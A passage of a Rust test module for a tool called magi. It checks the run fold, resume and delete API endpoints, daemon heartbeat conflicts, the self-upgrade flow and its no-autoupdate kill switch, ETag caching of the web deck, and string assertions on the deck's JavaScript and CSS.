7729 let update = APP_JS
7730 .find("function updateRunCard")
7731 .expect("updateRunCard exists");
7732 let end = APP_JS
7733 .find("function renderRuns")
7734 .expect("renderRuns exists");
7735
7736 let builder = &APP_JS[build..update];
7738 let open = builder.find("refs = {").expect("createRunCard sets refs");
7739 let literal = &builder[open + "refs = {".len()..];
7740 let close = literal.find('}').expect("the refs literal is closed");
7741 let published: HashSet<&str> = literal[..close]
7742 .split(',')
7743 .filter_map(|entry| entry.split(':').next())
7745 .map(str::trim)
7746 .filter(|name| !name.is_empty())
7747 .collect();
7748 assert!(
7749 published.len() > 5,
7750 "the refs literal did not parse into names: {published:?}"
7751 );
7752
7753 let mut used: Vec<&str> = Vec::new();
7756 let updaters = &APP_JS[update..end];
7757 for (at, _) in updaters.match_indices("r.") {
7758 let before = updaters[..at].chars().next_back();
7761 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
7762 continue;
7763 }
7764 let rest = &updaters[at + 2..];
7765 let len = rest
7766 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
7767 .unwrap_or(rest.len());
7768 if len > 0 {
7769 used.push(&rest[..len]);
7770 }
7771 }
7772 assert!(
7773 used.len() > 5,
7774 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
7775 );
7776
7777 let missing: Vec<&str> = used
7778 .iter()
7779 .copied()
7780 .filter(|name| !published.contains(name))
7781 .collect();
7782 assert!(
7783 missing.is_empty(),
7784 "a run card's updater reaches for {missing:?}, which `createRunCard` \
7785 never put in `refs` - every card will throw and the list will \
7786 render empty under a count line that says otherwise. Published: \
7787 {published:?}"
7788 );
7789 }
7790
7791 #[tokio::test]
7792 async fn folding_from_the_phone_reports_what_it_removed() {
7793 let fx = Fixture::start().await;
7794 let runs = fx.runs();
7795
7796 let id = "20260901-000000-fold";
7800 write_run(&runs, id, RunStatus::Stalled);
7801 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7802 assert_eq!(res.status, 200);
7803 assert_eq!(res.json()["removed_count"], 0);
7804 assert_eq!(res.json()["run"], id);
7805 assert!(
7806 runs.join(id).exists(),
7807 "a fold keeps the run's record; only the worktrees go"
7808 );
7809 }
7810
7811 #[tokio::test]
7812 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
7813 let fx = Fixture::start().await;
7814 let runs = fx.runs();
7815 let wt = fx.home.path().join("wt").join("magi").join("dead");
7816 let id = "20260901-000000-dead";
7817 std::fs::create_dir_all(runs.join(id)).expect("run dir");
7818 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
7819 std::fs::create_dir_all(&wt).expect("worktree dir");
7820
7821 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7822 assert_eq!(res.status, 200, "{}", res.body);
7823 assert!(
7824 res.json()["removed_count"].as_u64().unwrap() > 0,
7825 "the worktree this build could not read a state for still went"
7826 );
7827 assert!(
7828 !runs.join(id).exists(),
7829 "an unreadable run has no candidate list to fold selectively, so \
7830 the whole record goes - same as `magi fold` on the CLI"
7831 );
7832 }
7833
7834 #[tokio::test]
7835 async fn deleting_an_unreadable_run_removes_it_wholesale() {
7836 let fx = Fixture::start().await;
7837 let runs = fx.runs();
7838 let wt = fx.home.path().join("wt").join("magi").join("gone");
7839 let id = "20260901-000000-gone";
7840 std::fs::create_dir_all(runs.join(id)).expect("run dir");
7841 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
7842 std::fs::create_dir_all(&wt).expect("worktree dir");
7843
7844 let res = fx.delete(&format!("/api/runs/{id}")).await;
7845 assert_eq!(res.status, 204, "{}", res.body);
7846 assert!(!runs.join(id).exists(), "the broken record is gone");
7847 assert!(!wt.exists(), "its worktree is gone too");
7848 }
7849
7850 #[tokio::test]
7851 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
7852 let fx = Fixture::start().await;
7853 let runs = fx.runs();
7854 let id = "20260901-000000-live";
7855 write_run(&runs, id, RunStatus::Implementing);
7856
7857 let mut beat = crate::daemon::Status::new();
7858 beat.current = vec![crate::daemon::Current {
7859 task: "20260901-000000-task".to_owned(),
7860 run: id.to_owned(),
7861 }];
7862 beat.updated_at = jiff::Timestamp::now();
7863 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7864 .expect("publish a heartbeat");
7865
7866 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7867 assert_eq!(res.status, 409);
7868 assert!(
7869 res.json()["error"]
7870 .as_str()
7871 .unwrap()
7872 .contains("live daemon"),
7873 "folding under a running agent would pull its worktree away"
7874 );
7875 }
7876
7877 #[tokio::test]
7878 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
7879 let fx = Fixture::start().await;
7880 let runs = fx.runs();
7881
7882 for (status, word) in [
7888 (RunStatus::Merged, "merged"),
7889 (RunStatus::Ready, "ready"),
7890 (RunStatus::Failed, "failed"),
7891 ] {
7892 let id = format!("20260901-000000-{}", &word[..4]);
7893 write_run(&runs, &id, status);
7894 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
7895 assert_eq!(res.status, 409, "{word} must not be resumable");
7896 let err = res.json()["error"].as_str().unwrap().to_owned();
7897 assert!(err.contains(word), "the refusal names the status: {err}");
7898 }
7899
7900 let mid = "20260901-000000-midf";
7905 write_run(&runs, mid, RunStatus::Reviewing);
7906 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
7907 assert_eq!(res.status, 202, "an interrupted run is resumable");
7908 }
7909
7910 #[tokio::test]
7911 async fn resume_is_refused_while_the_loop_is_running() {
7912 let fx = Fixture::start().await;
7913 let runs = fx.runs();
7914 let stalled = "20260901-000000-stal";
7915 write_run(&runs, stalled, RunStatus::Stalled);
7916
7917 let mut beat = crate::daemon::Status::new();
7921 beat.current = vec![crate::daemon::Current {
7922 task: "20260901-000000-task".to_owned(),
7923 run: "20260901-000000-othr".to_owned(),
7924 }];
7925 beat.updated_at = jiff::Timestamp::now();
7926 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7927 .expect("publish a heartbeat");
7928
7929 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
7930 assert_eq!(res.status, 409);
7931 let err = res.json()["error"].as_str().unwrap().to_owned();
7932 assert!(err.contains("othr"), "it names what the loop is on: {err}");
7933 assert!(err.contains("stop it first"), "{err}");
7934 }
7935
7936 #[test]
7937 fn a_run_cannot_be_resumed_twice_at_once() {
7938 let home = TempDir::new().expect("temp home");
7939 let ui = Ui::new(
7940 Queue::at(home.path().join("queue")),
7941 Questions::at(home.path().join("questions")),
7942 Talks::at(home.path().join("talks")),
7943 home.path().join("runs"),
7944 home.path().to_path_buf(),
7945 PathBuf::from("/repo"),
7946 )
7947 .with_worktrees_root(home.path().join("wt"));
7948 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
7949 let again = ui.begin_resume("20260901-000000-once");
7950 assert!(again.is_err(), "a second tap must not start a second graph");
7951 drop(first);
7952 assert!(
7953 ui.begin_resume("20260901-000000-once").is_ok(),
7954 "and the claim is released when the attempt ends"
7955 );
7956 }
7957
7958 #[test]
7959 fn talk_thinking_tracks_only_its_held_turn_claim() {
7960 let home = TempDir::new().expect("temp home");
7961 let ui = Ui::new(
7962 Queue::at(home.path().join("queue")),
7963 Questions::at(home.path().join("questions")),
7964 Talks::at(home.path().join("talks")),
7965 home.path().join("runs"),
7966 home.path().to_path_buf(),
7967 PathBuf::from("/repo"),
7968 )
7969 .with_worktrees_root(home.path().join("wt"));
7970 let id = "20260901-000000-once";
7971
7972 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
7973 let turn = ui.begin_talk_turn(id).expect("claim turn");
7974 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
7975 assert!(
7976 !ui.is_thinking("20260901-000000-other"),
7977 "one talk's turn does not make another talk busy"
7978 );
7979 drop(turn);
7980 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
7981 }
7982
7983 #[tokio::test]
7984 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
7985 let fx = Fixture::start().await;
7986 let mut beat = crate::daemon::Status::new();
7990 beat.pid = 4321;
7991 beat.updated_at = jiff::Timestamp::now();
7992 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7993 .expect("publish a heartbeat");
7994
7995 let res = fx.post("/api/upgrade", None).await;
7996 assert_eq!(res.status, 409);
7997 let err = res.json()["error"].as_str().unwrap().to_owned();
7998 assert!(err.contains("4321"), "the refusal names the owner: {err}");
7999 assert!(err.contains("old one against the same queue"), "{err}");
8000 }
8001
8002 #[test]
8009 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
8010 assert!(!should_spawn_recheck(&crate::config::Update {
8011 mode: UpdateMode::Off,
8012 interval: None,
8013 }));
8014
8015 unsafe {
8018 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
8019 }
8020 let killed = should_spawn_recheck(&crate::config::Update {
8021 mode: UpdateMode::Notify,
8022 interval: None,
8023 });
8024 unsafe {
8025 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
8026 }
8027 assert!(
8028 !killed,
8029 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
8030 one-time startup check"
8031 );
8032
8033 assert!(should_spawn_recheck(&crate::config::Update {
8034 mode: UpdateMode::Notify,
8035 interval: None,
8036 }));
8037 }
8038
8039 #[test]
8045 fn recheck_poll_period_tracks_a_short_configured_interval() {
8046 let short = crate::config::Update {
8047 mode: UpdateMode::Notify,
8048 interval: Some("1m".to_owned()),
8049 };
8050 let period = recheck_poll_period(&short);
8051 assert!(
8052 period <= Duration::from_secs(30),
8053 "a one-minute interval must wake the task far sooner than the \
8054 default ceiling, or the deck would not notice within the \
8055 interval the operator configured: got {period:?}"
8056 );
8057
8058 let default = crate::config::Update {
8059 mode: UpdateMode::Notify,
8060 interval: None,
8061 };
8062 assert_eq!(
8063 recheck_poll_period(&default),
8064 UPDATE_RECHECK_POLL_MAX,
8065 "the default day-long interval should poll at the (capped) \
8066 ceiling rather than needlessly often"
8067 );
8068 }
8069
8070 #[test]
8078 fn recheck_skips_the_network_before_the_interval_elapses() {
8079 let dir = TempDir::new().expect("temp dir");
8080 let path = dir.path().join("state.json");
8081 let state = kaishin::UpdateCheckState {
8082 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
8083 last_known_latest: None,
8084 last_known_url: None,
8085 };
8086 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
8087
8088 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
8089 assert!(
8090 !update_recheck_due(&checker, None),
8091 "a check made moments ago must not be repeated before the \
8092 configured interval elapses"
8093 );
8094 }
8095
8096 #[test]
8102 fn recheck_defers_to_an_upgrade_already_in_flight() {
8103 let dir = TempDir::new().expect("temp dir");
8104 let path = dir.path().join("state.json");
8105 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
8106 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
8107
8108 assert!(
8109 !update_recheck_due(&checker, Some(&progress)),
8110 "a recheck must not run while an upgrade this deck started is \
8111 still moving"
8112 );
8113 }
8114
8115 #[tokio::test]
8116 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
8117 unsafe {
8129 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
8130 }
8131 let fx = Fixture::start().await;
8132 let res = fx.post("/api/upgrade", None).await;
8133 unsafe {
8134 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
8135 }
8136 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
8137 let body = res.json();
8138 assert!(body["to"].is_null(), "there was no release to move to");
8139 assert!(body["parked"].is_null(), "and nothing was parked");
8140 assert!(
8141 body["detail"]
8142 .as_str()
8143 .unwrap()
8144 .contains("disabled by MAGI_NO_AUTOUPDATE"),
8145 "{body:?}"
8146 );
8147 }
8148
8149 #[tokio::test]
8150 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
8151 let repo = TempDir::new().expect("repo dir");
8167 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
8168 .expect("write magi.toml");
8169 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
8170
8171 let res = fx.post("/api/upgrade", None).await;
8177 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
8178 let body = res.json();
8179 assert!(body["to"].is_null(), "there was no release to move to");
8180 assert!(body["parked"].is_null(), "and nothing was parked");
8181 assert!(
8182 body["detail"]
8183 .as_str()
8184 .unwrap()
8185 .contains("nothing restarted"),
8186 "{body:?}"
8187 );
8188 }
8189
8190 #[tokio::test]
8191 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
8192 let repo = TempDir::new().expect("repo dir");
8197 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
8198 .expect("write magi.toml");
8199 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
8200
8201 let health = fx.get("/api/health").await.json();
8202 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
8203 assert_eq!(
8204 health["update"]["available"], false,
8205 "checking is off, which reads as \"unknown\", not \"none\""
8206 );
8207 assert!(health["update"]["to"].is_null());
8208 assert!(
8209 health["upgrade"].is_null(),
8210 "nothing has ever asked this deck to upgrade"
8211 );
8212 }
8213
8214 #[tokio::test]
8215 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
8216 let fx = Fixture::start().await;
8217 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
8218
8219 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
8220 progress.parked_run = Some("20260905-000000-cd51".to_owned());
8221 progress.advance(crate::updater::Stage::Parking);
8222 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
8223
8224 let health = fx.get("/api/health").await.json();
8225 assert_eq!(health["upgrade"]["stage"], "parking");
8226 assert_eq!(health["upgrade"]["from"], "0.5.1");
8227 assert_eq!(health["upgrade"]["to"], "0.5.2");
8228 let waiting_on = health["upgrade"]["waiting_on"]
8229 .as_str()
8230 .expect("waiting_on is set while parking a known run");
8231 assert!(waiting_on.contains("cd51"), "{waiting_on}");
8232 assert!(waiting_on.contains("implementing"), "{waiting_on}");
8233 }
8234
8235 #[tokio::test]
8236 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
8237 let fx = Fixture::start().await;
8238 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
8239 progress.advance(crate::updater::Stage::Done);
8240 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
8241
8242 let health = fx.get("/api/health").await.json();
8243 assert_eq!(health["upgrade"]["stage"], "done");
8244 assert!(
8245 health["upgrade"]["waiting_on"].is_null(),
8246 "nothing to wait on once it is done"
8247 );
8248 }
8249
8250 #[tokio::test]
8251 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
8252 let home = TempDir::new().expect("temp home");
8253 let runs = home.path().join("runs");
8254 std::fs::create_dir_all(&runs).expect("runs dir");
8255 let ui = Ui::new(
8256 Queue::at(home.path().join("queue")),
8257 Questions::at(home.path().join("questions")),
8258 Talks::at(home.path().join("talks")),
8259 runs,
8260 home.path().to_path_buf(),
8261 PathBuf::from("/repo/magi"),
8262 )
8263 .with_launch(launch_idle);
8264 let looping = ui.looping();
8265 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
8266 .await
8267 .expect("bind loopback");
8268 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
8269
8270 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
8271 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
8272
8273 hand_over(home.path(), &looping, served, || Ok(()))
8274 .await
8275 .expect("hand over");
8276
8277 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
8278 assert_eq!(
8279 after.stage,
8280 crate::updater::Stage::Restarting,
8281 "hand_over owns the record through parking and up to restarting; \
8282 the successor is what finishes it"
8283 );
8284 }
8285
8286 #[test]
8287 fn the_upgrade_button_arms_before_it_restarts_anything() {
8288 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
8291 assert!(APP_JS.contains("Replace the binary and restart?"));
8292 assert!(APP_JS.contains("function confirmed("));
8293 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
8298 assert!(
8302 APP_JS.contains("Parking, then restarting"),
8303 "the button says what it is waiting for"
8304 );
8305 assert!(APP_JS.contains("if (!out.to)"));
8308 }
8309
8310 #[test]
8311 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
8312 assert!(
8313 APP_JS.contains("state.health.version"),
8314 "the operator wants to know what is running even with nothing newer"
8315 );
8316 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
8317 }
8318
8319 #[test]
8320 fn the_upgrade_button_names_its_destination() {
8321 assert!(
8322 APP_JS.contains("`Update to ${update.to}`"),
8323 "pressing the button should not be a surprise about what it moves to"
8324 );
8325 }
8326
8327 #[test]
8328 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
8329 for stage in ["downloading", "replaced", "parking", "restarting"] {
8330 assert!(
8331 APP_JS.contains(&format!("\"{stage}\"")),
8332 "the phone must be able to tell {stage} apart from the others"
8333 );
8334 }
8335 assert!(APP_JS.contains(".waiting_on"));
8336 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
8341 assert!(APP_JS.contains("reconnects on its own"));
8342 }
8343
8344 #[test]
8345 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
8346 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
8355 ..APP_JS.find("function upgrade(").expect("upgrade")];
8356 assert!(
8357 !body.contains(
8358 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
8359 ),
8360 "a failed upgrade must not take the whole strip over the way it used to"
8361 );
8362 assert!(
8363 body.contains("upgradeFailNote"),
8364 "the failure has to reach the loop's own note instead"
8365 );
8366 assert_eq!(
8370 body.matches("upgradeFailNote].filter(Boolean).join")
8371 .count(),
8372 2,
8373 "both loop-why writers (quiet and control) must fold the note in"
8374 );
8375 }
8376
8377 #[test]
8378 fn an_overdue_upgrade_eventually_asks_for_a_human() {
8379 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
8382 assert!(APP_JS.contains("function upgradeOverdue("));
8383 }
8384
8385 #[test]
8386 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
8387 assert!(
8388 APP_JS.contains("Updated to ${upgradeInfo.to"),
8389 "the operator who asked for the restart wants to know it worked"
8390 );
8391 }
8392
8393 #[test]
8394 fn an_error_is_visible_from_where_the_button_is() {
8395 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
8400 ..APP_CSS.find(".alert-text").expect(".alert-text")];
8401 assert!(
8402 alert.contains("position: fixed"),
8403 "an error about the thing under your thumb has to be visible from \
8404 where your thumb is: {alert}"
8405 );
8406 assert!(
8407 alert.contains("z-index: 25"),
8408 "above the dock (20) and the run-actions FAB (15), so neither \
8409 buries it: {alert}"
8410 );
8411 assert!(
8412 alert.contains("var(--tap)"),
8413 "and clear of the dock and the home indicator: {alert}"
8414 );
8415 assert!(
8418 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
8419 "the FAB's column stays free: {alert}"
8420 );
8421 }
8422
8423 #[tokio::test]
8424 async fn an_older_attempt_says_what_replaced_it() {
8425 let fx = Fixture::start().await;
8426 let q = fx.queue();
8427 let runs = fx.runs();
8428 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
8429 write_run(&runs, first, RunStatus::Stalled);
8430 write_run(&runs, second, RunStatus::Blocked);
8431
8432 let mut t = Task::new(
8433 "one task".to_owned(),
8434 "do it".to_owned(),
8435 PathBuf::from("/repo"),
8436 Source::Human,
8437 );
8438 t.runs = vec![first.to_owned(), second.to_owned()];
8439 q.put(&mut t).expect("put");
8440
8441 let rows = fx.get("/api/runs").await.json();
8445 let by = |short: &str| -> Value {
8446 rows.as_array()
8447 .unwrap()
8448 .iter()
8449 .find(|r| r["short"] == short)
8450 .cloned()
8451 .unwrap_or(Value::Null)
8452 };
8453 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
8454 assert!(
8455 by("bbbb")["superseded_by"].is_null(),
8456 "the latest attempt is not superseded by anything"
8457 );
8458 assert!(APP_JS.contains("run.superseded_by"));
8460 assert!(APP_JS.contains("Superseded by"));
8461 }
8462
8463 #[tokio::test]
8464 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
8465 let fx = Fixture::start().await;
8466 let js = fx.get("/app.js").await;
8472 assert_eq!(js.status, 200);
8473 let tag = js
8474 .header("etag")
8475 .expect("an etag to revalidate against")
8476 .to_owned();
8477 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
8478 assert_eq!(
8479 js.header("cache-control"),
8480 Some("no-cache, must-revalidate"),
8481 "the phone has to ask every time"
8482 );
8483
8484 let again = fx
8487 .get_with("/app.js", &[("if-none-match", tag.as_str())])
8488 .await;
8489 assert_eq!(
8490 again.status, 304,
8491 "a deck it already has costs one round trip"
8492 );
8493 assert!(again.body.is_empty(), "304 carries no body");
8494
8495 let weak = fx
8498 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
8499 .await;
8500 assert_eq!(weak.status, 304);
8501 let stale = fx
8502 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
8503 .await;
8504 assert_eq!(stale.status, 200, "an older build must be replaced");
8505 assert!(stale.body.contains("renderRunActions"));
8506 }
8507
8508 #[test]
8509 fn the_deck_never_sends_the_operator_to_a_terminal() {
8510 assert!(
8513 !APP_JS.contains("Run `magi fold` first"),
8514 "the deck must offer the fold, not prescribe a shell command"
8515 );
8516 assert!(APP_JS.contains("foldRun:"));
8517 assert!(APP_JS.contains("resumeRun:"));
8518 assert!(APP_JS.contains("renderRunActions"));
8519
8520 assert!(APP_JS.contains("armedFold"));
8522 assert!(APP_JS.contains("Yes, fold worktrees"));
8523
8524 assert!(APP_JS.contains("can no longer be resumed"));
8527 }
8528
8529 #[test]
8530 fn a_finished_run_explains_itself_with_its_own_last_line() {
8531 assert!(
8537 !APP_JS.contains("collapsed on agent quota"),
8538 "a stall must not be explained by a cause the deck did not check"
8539 );
8540 assert!(
8541 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
8542 "and a block must not offer a guess with an `or` in it"
8543 );
8544
8545 assert!(
8549 APP_JS.contains("setText(r.event, run.event || \"\")"),
8550 "the run's last line is rendered unconditionally"
8551 );
8552 assert!(
8553 !APP_JS.contains("moving && run.event"),
8554 "and never gated on the run still moving"
8555 );
8556
8557 assert!(APP_JS.contains("lost to quota"));
8559 }
8560
8561 #[test]
8583 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
8584 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
8585 let shapes_body_start =
8586 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
8587 let shapes_close = APP_JS[shapes_body_start..]
8588 .find("].map(")
8589 .expect("the shape list is closed by its done-computing .map(...)")
8590 + shapes_body_start;
8591 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
8592
8593 let mut shapes: Vec<(bool, String)> = Vec::new();
8594 for entry in shapes_src.split('{').skip(1) {
8595 let waiting = entry.contains("waiting: true");
8596 let status_at =
8597 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
8598 let status_end = entry[status_at..]
8599 .find('"')
8600 .expect("the status string is closed")
8601 + status_at;
8602 shapes.push((waiting, entry[status_at..status_end].to_string()));
8603 }
8604 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
8605
8606 let done_rule_marker = "done: !";
8610 let done_rule_at = APP_JS[shapes_close..]
8611 .find(done_rule_marker)
8612 .expect("the done rule follows the shape list")
8613 + shapes_close
8614 + done_rule_marker.len();
8615 let includes_at = APP_JS[done_rule_at..]
8616 .find(".includes(shape.status)")
8617 .expect("the done rule ends in .includes(shape.status)")
8618 + done_rule_at;
8619 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
8620 .trim()
8621 .trim_start_matches('[')
8622 .trim_end_matches(']')
8623 .split(',')
8624 .map(|s| s.trim().trim_matches('"'))
8625 .filter(|s| !s.is_empty())
8626 .collect();
8627
8628 let shapes: Vec<(bool, String, bool)> = shapes
8629 .into_iter()
8630 .map(|(waiting, status)| {
8631 let done = !not_done.contains(&status.as_str());
8632 (waiting, status, done)
8633 })
8634 .collect();
8635
8636 fn run_section(waiting: bool, status: &str) -> &'static str {
8640 if waiting {
8641 return "waiting";
8642 }
8643 match status {
8644 "merged" | "ready" => "landed",
8645 "stalled" | "blocked" | "failed" | "verified_noop" => "ended",
8646 _ => "flight",
8647 }
8648 }
8649
8650 fn filter_matches(filter_key: &str, waiting: bool, done: bool) -> bool {
8653 match filter_key {
8654 "active" => !done,
8655 "flight" => !done && !waiting,
8656 "waiting" => waiting,
8657 "done" => done,
8658 "all" => true,
8659 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
8660 }
8661 }
8662
8663 let compatible = |section: &str, filter_key: &str| {
8664 shapes.iter().any(|(waiting, status, done)| {
8665 run_section(*waiting, status) == section
8666 && filter_matches(filter_key, *waiting, *done)
8667 })
8668 };
8669
8670 let expected = [
8675 ("waiting", [true, false, true, true, true]),
8676 ("flight", [true, true, false, false, true]),
8677 ("landed", [false, false, false, true, true]),
8678 ("ended", [false, false, false, true, true]),
8679 ];
8680 let filter_keys = ["active", "flight", "waiting", "done", "all"];
8681
8682 for (section, wants) in expected {
8683 for (filter_key, want) in filter_keys.iter().zip(wants) {
8684 assert_eq!(
8685 compatible(section, filter_key),
8686 want,
8687 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
8688 );
8689 }
8690 }
8691
8692 assert!(
8695 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
8696 );
8697 assert!(APP_JS.contains(
8698 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
8699 ));
8700 assert!(APP_JS.contains(
8701 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
8702 ));
8703 }
8704
8705 #[tokio::test]
8706 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
8707 let dir = tempfile::tempdir().expect("tempdir");
8711 let explicit = dir.path().join("not-a-checkout");
8712 std::fs::create_dir_all(&explicit).expect("create dir");
8713 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
8714
8715 let missing = dir.path().join("does-not-exist-at-all");
8716 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
8717 }
8718}